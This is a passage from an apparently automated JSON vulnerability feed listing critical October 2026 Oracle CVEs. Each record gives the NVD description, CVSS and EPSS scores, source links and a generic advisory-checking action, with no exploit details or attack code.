exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101808","cveId":"CVE-2026-101808","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI).","summary":"Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Product Workbench.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as  unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Product Workbench.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as  unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:36.773Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101808","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00404,"percentile":0.34428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101808","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101808","type":"primary","publishedAt":"2026-10-20T22:18:36.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101767","cveId":"CVE-2026-101767","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).","summary":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.060Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101767","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00549,"percentile":0.45677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101767","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101767","type":"primary","publishedAt":"2026-10-20T22:18:32.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101765","cveId":"CVE-2026-101765","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).","summary":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:31.833Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101765","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0042,"percentile":0.35989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101765","type":"primary","publishedAt":"2026-10-20T22:18:31.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101763","cveId":"CVE-2026-101763","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment).","summary":"Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in takeover of Oracle Communications BRM - Elastic Charging Engine. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in takeover of Oracle Communications BRM - Elastic Charging Engine. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:31.607Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101763","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00501,"percentile":0.42595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101763","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101763","type":"primary","publishedAt":"2026-10-20T22:18:31.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101634","cveId":"CVE-2026-101634","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Mobile Field Service. CVSS 3.1 Base Score 9.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Mobile Field Service. CVSS 3.1 Base Score 9.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:17.533Z","updatedAt":"2026-10-21T21:17:34.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101634","asOf":"2026-10-21T21:17:34.093Z"},"epss":{"probability":0.00561,"percentile":0.46383,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101634","type":"primary","publishedAt":"2026-10-20T22:18:17.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101590","cveId":"CVE-2026-101590","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security).","summary":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security).  Supported versions that are affected are 4.0.0-4.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized access to critical data or complete access to all Helidon accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security).  Supported versions that are affected are 4.0.0-4.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized access to critical data or complete access to all Helidon accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:12.490Z","updatedAt":"2026-10-22T23:17:59.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101590","asOf":"2026-10-22T23:17:59.063Z"},"epss":{"probability":0.0042,"percentile":0.3599,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101590&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101590","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101590","type":"primary","publishedAt":"2026-10-20T22:18:12.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101590&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101590, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101537","cveId":"CVE-2026-101537","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:03.127Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101537","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0042,"percentile":0.36016,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101537","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101537","type":"primary","publishedAt":"2026-10-20T22:18:03.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101529","cveId":"CVE-2026-101529","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).","summary":"Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.293Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101529","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00479,"percentile":0.4107,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101529","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101529","type":"primary","publishedAt":"2026-10-20T22:18:02.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101529, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101528","cveId":"CVE-2026-101528","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).","summary":"Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:02.180Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101528","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00479,"percentile":0.4107,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101528&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101528","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101528","type":"primary","publishedAt":"2026-10-20T22:18:02.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101528&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101528, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101521","cveId":"CVE-2026-101521","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle APEX (component: 